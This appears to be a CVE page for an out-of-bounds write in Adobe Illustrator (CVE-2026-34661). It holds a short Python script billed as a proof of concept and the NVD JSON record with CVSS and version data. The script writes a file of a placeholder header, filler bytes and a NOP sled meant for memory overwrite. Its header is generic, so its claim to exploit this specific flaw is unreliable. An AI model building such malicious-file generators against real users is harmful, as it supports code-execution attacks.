CVE-2026-34661

import struct # Proof of Concept Generator for CVE-2026-34661 # This script generates a malformed file intended to trigger the Out-of-Bounds Write. # Note: Actual exploit logic depends on specific file parsing details. def generate_malicious_file(filename): header = b'\x00\x00\x00\x00' # Generic header placeholder # Padding to reach the vulnerable parsing logic offset offset = b'A' * 500 # Malicious payload intended to overwrite memory (e.g., return address) # In a real scenario, this would be shellcode or ROP chain payload = b'\x90' * 32 + b'\xCC' with open(filename, 'wb') as f: f.write(header + offset + payload) if __name__ == "__main__": print("Generating malicious file for testing...") generate_malicious_file("exploit_cve_2026_34661.bin") print("File created. Do not open on production systems.")

{"cve": {"id": "CVE-2026-34661", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:10.980", "lastModified": "2026-05-12T19:14:53.157", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Illustrator versions 29.8.6, 30.3 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:illustrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "29.0", "versionEndExcluding": "29.8.7", "matchCriteriaId": "56AE3CDD-A779-4A9D-A50B-C956B3311FB3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:illustrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "30.0", "versionEndExcluding": "30.4", "matchCriteriaId": "2B1BBF11-4ED3-463B-A870-05A929AFAFFB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/illustrator/apsb26-51.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}